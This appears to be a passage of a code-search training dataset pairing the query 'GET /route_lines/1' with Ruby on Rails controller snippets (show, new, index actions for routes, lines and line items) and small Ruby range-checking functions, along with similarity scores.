"def between(n1, n2, n3)\n if n1 >= n2 && n1 <= n3\n return true\n else\n return false\n end\nend",
"def selection(array)\n # If array is empty, just return 01\n return 1 if array.empty?\n\n # Array to store the numbers already taken\n taken = Array.new\n\n # Filter the incoming array, find the numbers and store them in the taken Array\n array.each { |string| taken << string.scan(/\\d./).join('').sub(/^0+/, '').to_i }\n\n # We have two digits, define our range of numbers\n limits = (1..99).to_a\n\n # Return the first value once we find what isn't taken in our range of numbers\n (limits - taken)[0]\n end",
"def within(range: 1.00..5000.00)\n between(from: range.min, to: range.max)\n end",
"def check_number(num)\n if num < 0 || num > 100\n puts \"Your number has to be between 0 and 100\"\n elsif num <= 50\n puts \"#{num} is between 0 and 50\"\n elsif num <= 100\n puts \"#{num} is beween 51 and 100\"\n end\nend",
"def find_a_starting_index_within_range(j, lower_range, upper_range)\n step = ((upper_range - lower_range) / 2).round\n\n index = lower_range + step\n sum = $sorted_numbers[j] + $sorted_numbers[index]\n\n # if we found an index that satisifies the conditions, we return it\n if sum.between?(LOWER_BOUND, UPPER_BOUND)\n return index\n end\n\n # otherwise, we recurse until we find it or we've exhausted the search space\n\n # return nil if we've exhausted all possiblities\n return nil if step == 0\n\n if sum < LOWER_BOUND\n # in this case, we are below the lower bound, so we constrain our binary search upwards\n return find_a_starting_index_within_range(j, lower_range + step, upper_range)\n elsif sum > UPPER_BOUND\n # in this case, we are above the upper bound, so we constrain our binary search downwards\n return find_a_starting_index_within_range(j, lower_range, upper_range - step)\n else\n # this should never happen\n raise 'logic error'\n end\nend",
"def matching_rules(number, rules)\n result = []\n rules.each do |rule, ranges|\n ranges.each do |range|\n next if number < range[0] || number > range[1]\n\n result.append(rule)\n break\n end\n end\n result\nend",
"def is_within(number, lower, upper)\n RangeAssertion.new(number, lower, upper)\n end",
"def valid?(range)\n range[0] < range[1]\nend",
"def check_number(number)\n #Evaluates number given and returns string\n case number\n when 0..50\n \"Your number is between 0-50\"\n when 51..100\n \"Your number is between 51-100\"\n else\n \"Your number is above 100\"\n end\nend",
"def test_bounds(val, min, max)\n val >= min && val <= max\n end",
"def number_value_checker(number)\n if number >= 1 && number <= 10\n puts true\n else\n puts false\n end\nend",
"def is_valid_input(input)\n return (input.to_i.to_s == input) && ((1..100).to_a.count(input.to_i) > 0)\nend",
"def validate_range(address_arr)\n address_arr.all? do |number|\n number.to_i <= 255 && number.to_i >= 0\n end\nend",
"def validate_range(address_arr)\n address_arr.all? do |number|\n number.to_i <= 255 && number.to_i >= 0\n end\nend",
"def number_in_range(num)\n if num < 0\n puts \"Number is negative!\"\n elsif num > 100\n puts \"Number is greater than 100\"\n else\n case num\n when 0..50\n puts \"number is between 0 and 50\"\n else\n puts \"number is between 51 and 100\"\n end\n end\nend",
"def available_on_board?(num)\n if num.between?(0, 8) == true #if the number is between\n return true\n else\n return false\n end\nend",
"def in_ranged_array?(ranged_ary, num)\n !!ranged_ary.find {|n| n === num }\n end"
] |
[
"0.72157913",
"0.7107371",
"0.69449586",
"0.68925333",
"0.68533987",
"0.68198925",
"0.67960596",
"0.67954075",
"0.6790874",
"0.6736676",
"0.6731348",
"0.67163694",
"0.66744304",
"0.665166",
"0.66432077",
"0.6641633",
"0.66209286",
"0.6615021",
"0.6602762",
"0.65821475",
"0.6581351",
"0.6575152",
"0.65747255",
"0.6522247",
"0.65163803",
"0.6485758",
"0.647879",
"0.6476904",
"0.6452124",
"0.6444409",
"0.6432451",
"0.6414399",
"0.6386906",
"0.63663477",
"0.6357097",
"0.6351823",
"0.6338204",
"0.63284135",
"0.63284135",
"0.6281541",
"0.62664956",
"0.62647134",
"0.62425834",
"0.6233462",
"0.62102616",
"0.6199537",
"0.61900216",
"0.61876965",
"0.6179837",
"0.61782116",
"0.61679345",
"0.616546",
"0.61581105",
"0.615543",
"0.6152048",
"0.61456746",
"0.6138737",
"0.6135083",
"0.6133246",
"0.61291724",
"0.6110934",
"0.6104485",
"0.6071186",
"0.60632205",
"0.60625833",
"0.60571384",
"0.6055696",
"0.6050852",
"0.6045087",
"0.6021971",
"0.59923786",
"0.599117",
"0.5990651",
"0.5985697",
"0.59733975",
"0.59713",
"0.5970589",
"0.5968314",
"0.59670424",
"0.59640706",
"0.5962613",
"0.5958527",
"0.5942832",
"0.5933376",
"0.5929551",
"0.5928315",
"0.59248537",
"0.59147716",
"0.59096336",
"0.5901001",
"0.5898159",
"0.5889894",
"0.5882686",
"0.5878182",
"0.58732975",
"0.58721596",
"0.58703816",
"0.58703816",
"0.5868911",
"0.5868328",
"0.5865379"
] |
0.0
|
-1
|
GET /route_lines/1 GET /route_lines/1.xml
|
def show
@route_line = RouteLine.find(params[:id])
respond_to do |format|
format.html # show.html.erb
format.xml { render :xml => @route_line }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @route_line = RouteLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line }\n end\n end",
"def route_xml(route_id, query_params = nil)\n get(\"/routes/#{route_id}/xml\", query_params)\n end",
"def index\n @lineas = Linea.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lineas }\n end\n end",
"def show\n @linea = Linea.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @linea }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @line_items }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @route = Route.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def show\n @route = Route.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def getRoutes\n # [[\"MTA NYCT_B65\", \"B65\", \"Downtown Brooklyn - Crown Heights\", \"via Bergen St & Dean St\"]...]\n url = \"http://bustime.mta.info/api/where/routes-for-agency/MTA%20NYCT.xml?key=#{APIKEY}\"\n xml_str = Net::HTTP.get URI(url)\n xml = Nokogiri::XML(xml_str)\n xml.css(\"response data list route\").to_a.map{|rte| [rte.css('id').text, rte.css('shortName').text, rte.css('longName').text, rte.css('description').text]}\nend",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n\t\t@route = Route.find(params[:id])\n\n\t\trespond_to do |format|\n\t\t\tformat.html # show.html.erb\n\t\t\tformat.xml { render :xml => @route }\n\t\tend\n\tend",
"def create\n @route_line = RouteLine.new(params[:route_line])\n\n respond_to do |format|\n if @route_line.save\n format.html { redirect_to(@route_line, :notice => t('record_created')) }\n format.xml { render :xml => @route_line, :status => :created, :location => @route_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @service_line = ServiceLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @service_line }\n end\n end",
"def show\n @route_point = RoutePoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_point }\n end\n end",
"def show\n @completed_route = CompletedRoute.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @completed_route }\n end\n end",
"def show\n @flightline = Flightline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @flightline }\n end\n end",
"def destroy\n @route_line = RouteLine.find(params[:id])\n @route_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(route_lines_url) }\n format.xml { head :ok }\n end\n end",
"def show\n @line = Line.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def generate_routes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tputs \"Agragando ruta: \"+item[\"codigo_linea\"]\n\t\t\tcsv << [item[\"codigo_linea\"], 0, 'FFFFFF']\n\t\tend\n\tend\nend",
"def index\n @lines = Line.all\n end",
"def index\n @lines = Line.all\n end",
"def index\n @transport_lines = TransportLine.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @transport_lines }\n end\n end",
"def update\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n if @route_line.update_attributes(params[:route_line])\n format.html { redirect_to(@route_line, :notice => t('record_updated')) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def show\n @stop = Stop.where(:short_name => params[:id]).first\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @stop.to_xml(\n :include => { \n :routes => {\n :only => [:name, :id] \n } \n }\n ) }\n format.kml\n end\n end",
"def index\n @lines = Line.all\n \n# @line= Line.new\n #@user.lines.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @lines }\n end\n end",
"def new\n @linea = Linea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @linea }\n end\n end",
"def kml_routes(routes, name, xml)\n return nil unless routes.any?\n routes = routes.map{|r| r.sort_by{|x| @airport_details[x][:iata]}}.uniq.sort_by{|y| [@airport_details[y[0]][:iata], @airport_details[y[1]][:iata]]}\n \n xml.Folder do\n xml.name_(name)\n routes.each do |route|\n detail = route.map{|airport| @airport_details[airport]}\n xml.Placemark do\n xml.name_(detail.map{|a| a[:iata]}.join(\"–\"))\n xml.styleUrl(\"#flightPath\")\n xml.LineString do\n xml.tessellate(\"1\")\n xml.coordinates(detail.map{|a| \"#{a[:longitude]},#{a[:latitude]},0\"}.join(\" \"))\n end\n end\n end\n end\n return nil\n end",
"def show\n @route_rule = RouteRule.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_rule }\n end\n end",
"def routes\n request :get, '/routes'\n end",
"def show\n @report_line = ReportLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @report_line }\n end\n end",
"def index\n @lineitems = Lineitem.all\n end",
"def show\n @transport_line = TransportLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @transport_line }\n end\n end",
"def show\n puts params.inspect.green\n\n @line_item = LineItem.find(params[:id])\n\n puts @line_items.inspect.magenta\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item1 = LineItem1.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def airline(id)\n perform_get(\"/airlines/#{id}.xml\")\n end",
"def show\n @line = Line.find_by_no(params[:id]) || not_found\n authorize! :index, @line\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line }\n end\n end",
"def index\n @line_details = LineDetail.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def show\n @lineaedesal = Lineaedesal.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lineaedesal }\n end\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def index\n @line_items = LineItem.all\n end",
"def airlines(params={})\n perform_get('/airlines.xml', params)\n end",
"def routes_list\n response = RestClient.get(\n BASE_URL,\n params: {command: 'routeList', a: AGENCY}\n )\n\n parse_routes_response(response.body)\n end",
"def show\n @product_line = ProductLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @product_line }\n end\n end",
"def show\n @tagline = Tagline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @tagline }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def show\n @lineitem = Lineitem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def show\n @pump_line = PumpLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @pump_line }\n end\n end",
"def show\n @lineas_despacho = LineasDespacho.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lineas_despacho }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def show\n @line_item = LineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @line_item }\n end\n end",
"def index\n @line_items = LineItem.all\nend",
"def index\n @line_items = LineItem.all\nend",
"def index\n @estimate_line_items = EstimateLineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @estimate_line_items }\n end\n end",
"def show\n @route = Route.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.kml {\n @alt=50\n render kml: @route\n }\n format.json { render json: @route }\n end\n end",
"def generate_route_shapes\n\trequire 'csv'\n\tinclude HTTParty\n\trequire 'json'\n\tresponse = HTTParty.get('http://citppuc.cloudapp.net/api/lineas')\n\tbody = JSON.parse(response.body)\n\tCSV.open('csv/aplicacion/routeShapes.csv', 'w') do |csv|\n\t\tbody.each do |item|\n\t\t\tjson = nil\n\t\t\twhile json.nil?\n\t\t\t\tresponse2 = HTTParty.get('http://citppuc.cloudapp.net/api/lineas/'+item[\"linea_id\"].to_s)\n\t\t\t\tnext if response2.body == ''\n\t\t\t\tjson = JSON.parse(response2.body)\n\t\t\tend\n\t\t\tif json[\"secuencias\"]\n\t\t\t\tjson[\"secuencias\"].each do |sec|\n\t\t\t\t\tputs \"Agregando secuencia \"+sec[\"codigo_secuencia\"]\n\t\t\t\t\tif sec[\"horarios\"]\n\t\t\t\t\t\tsec[\"horarios\"].each do |h|\n\t\t\t\t\t\t\tdias = ''\n\t\t\t\t\t\t\th[\"dias\"].each do |dia|\n\t\t\t\t\t\t\t\tdias << dia+','\n\t\t\t\t\t\t\tend\n\t\t\t\t\t\t\tcsv << [ item[\"codigo_linea\"], sec[\"codigo_secuencia\"], h[\"hora_inicio\"], h[\"hora_termino\"], dias]\n\t\t\t\t\t\tend\n\t\t\t\t\telse\n\t\t\t\t\t\tputs \"No tiene horarios!\"\n\t\t\t\t\tend\n\n\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tputs \"No tiene secuencias\"\n\t\t\tend\n\n\t\tend\n\tend\nend",
"def show\n @estimate_line_item = EstimateLineItem.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @estimate_line_item }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @order_line = OrderLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @order_line }\n end\n end",
"def new\n @flightline = Flightline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flightline }\n end\n end",
"def show\n @way = Way.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @way }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @line_items }\n end\n end",
"def index\n @line_destinations = LineDestination.all\n end",
"def show\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invoice_adjustment_line }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json {\n render json: @line_items \n }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def index\n @line_items = LineItem.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @line_items }\n end\n end",
"def show\n @lineas_asignado = LineasAsignado.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @lineas_asignado }\n end\n end",
"def new\n @route_point = RoutePoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_point }\n end\n end",
"def show\n @journal_line = JournalLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @journal_line }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def show\n @waypoint = Waypoint.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @waypoint }\n end\n end",
"def list_lines\n RailLine.list_lines\n end",
"def show\n @invoiceline = Invoiceline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @invoiceline }\n end\n end",
"def index\n @routes = Route.all\n @alt=50\n @kml_name=\"WMATA Bus\"\n @kml_desc=\"WMATA Bus Routes\"\n respond_to do |format|\n format.html \n format.kml { render kml: @routes }\n format.json { render json: @routes }\n end\n end"
] |
[
"0.67667043",
"0.65672505",
"0.6559145",
"0.64495134",
"0.63750297",
"0.63661855",
"0.6302329",
"0.6302329",
"0.6294172",
"0.62933385",
"0.62933385",
"0.6284217",
"0.6225611",
"0.6225611",
"0.6225611",
"0.6220611",
"0.6149663",
"0.61359984",
"0.60800207",
"0.5990889",
"0.5967393",
"0.5913024",
"0.5899357",
"0.5889047",
"0.58766806",
"0.58766806",
"0.5828313",
"0.582546",
"0.5749904",
"0.57475996",
"0.5743511",
"0.5723822",
"0.5700191",
"0.5697484",
"0.5684197",
"0.5680225",
"0.5650891",
"0.56465924",
"0.5645476",
"0.5624684",
"0.5622319",
"0.56059444",
"0.5599181",
"0.5597257",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5595527",
"0.5584677",
"0.5582592",
"0.5565138",
"0.5561566",
"0.55603224",
"0.55555844",
"0.55549425",
"0.55548924",
"0.5550015",
"0.55495054",
"0.55495054",
"0.55495054",
"0.55495054",
"0.55495054",
"0.55495054",
"0.55495054",
"0.5544676",
"0.5544676",
"0.5541764",
"0.5540665",
"0.5533994",
"0.55249816",
"0.5516119",
"0.5516119",
"0.5513715",
"0.55079687",
"0.5507524",
"0.5505174",
"0.5505157",
"0.5500778",
"0.54956555",
"0.54906285",
"0.5490243",
"0.5490243",
"0.5490243",
"0.5490243",
"0.54784155",
"0.54764515",
"0.54743826",
"0.54647964",
"0.54647964",
"0.5455832",
"0.54489344",
"0.5439531",
"0.5438085"
] |
0.7364143
|
0
|
GET /route_lines/new GET /route_lines/new.xml
|
def new
@route_line = RouteLine.new
respond_to do |format|
format.html # new.html.erb
format.xml { render :xml => @route_line }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route }\n end\n end",
"def new\n @linea = Linea.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @linea }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n\t\tlogger.debug(\"/routes/new params[:route] : #{params[:route].inspect}\")\n\t\t@route = Route.new(params[:route])\n\t\t@sports = Sport.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html # new.html.erb\n\t\t\tformat.xml { render :xml => @route }\n\t\tend\n\tend",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\r\n @lineitem = Lineitem.new\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.xml { render :xml => @lineitem }\r\n end\r\n end",
"def new\n @flightline = Flightline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @flightline }\n end\n end",
"def new\n @old_route_tag = OldRouteTag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @old_route_tag }\n end\n end",
"def create\n @route_line = RouteLine.new(params[:route_line])\n\n respond_to do |format|\n if @route_line.save\n format.html { redirect_to(@route_line, :notice => t('record_created')) }\n format.xml { render :xml => @route_line, :status => :created, :location => @route_line }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @route_line.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def new\n @completed_route = CompletedRoute.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @completed_route }\n end\n end",
"def new\n @route_point = RoutePoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_point }\n end\n end",
"def new\n @line = Line.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line }\n end\n end",
"def show\n @route_line = RouteLine.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @route_line }\n end\n end",
"def new\n @route_rule = RouteRule.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @route_rule }\n end\n end",
"def new\n @line_item = LineItem.new(:order_id => params[:order_id])\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_item }\n end\n end",
"def new\n @tagline = Tagline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tagline }\n end\n end",
"def new\n @journal_line = JournalLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @journal_line }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n end\n end",
"def new\n @route = Route.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @lineitem = Lineitem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @lineitem }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @route = Route.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @route }\n end\n end",
"def new\n @lineaedesal = Lineaedesal.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lineaedesal }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item }\n end\n end",
"def new\n @report_line = ReportLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @report_line }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @line_item = LineItem.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_item }\n end\n end",
"def new\n @way = Way.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @way }\n end\n end",
"def new\n @transport_line = TransportLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @transport_line }\n end\n end",
"def new\n @line_item1 = LineItem1.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @line_item1 }\n end\n end",
"def new\n @waypoint = Waypoint.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @waypoint }\n end\n end",
"def new\n @product_line = ProductLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @product_line }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end",
"def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @chronopay_link }\n end\n end",
"def new\n @invoice_adjustment_line = InvoiceAdjustmentLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoice_adjustment_line }\n end\n end",
"def new\n @invoiceline = Invoiceline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @invoiceline }\n end\n end",
"def new\n @item_line = ItemLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @item_line }\n end\n end",
"def route_xml(route_id, query_params = nil)\n get(\"/routes/#{route_id}/xml\", query_params)\n end",
"def new\n @line_station = LineStation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @line_station }\n end\n end",
"def new\n @breadcrumb = 'create'\n @reading_route = ReadingRoute.new\n set_projects_offices\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @reading_route }\n end\n end",
"def new\n @outline = Outline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @outline }\n end\n end",
"def new\n @lr13 = Lr13.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @lr13 }\n end\n end",
"def new\n @order_line = OrderLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @order_line }\n end\n end",
"def new\n @playlist_line = PlaylistLine.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @playlist_line }\n end\n end",
"def new\n @line_of_business = LineOfBusiness.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @line_of_business }\n end\n rescue ActiveRecord::RecordNotFound => e\n prevent_access(e)\n end",
"def new\n @admin_route = Admin::Route.new\n\t\t@admin_route.route_markers.build\n\t\t\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_route }\n end\n end",
"def new\n @match_part = MatchPart.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @match_part }\n end\n end",
"def new\n @timeline = Timeline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @timeline }\n end\n end",
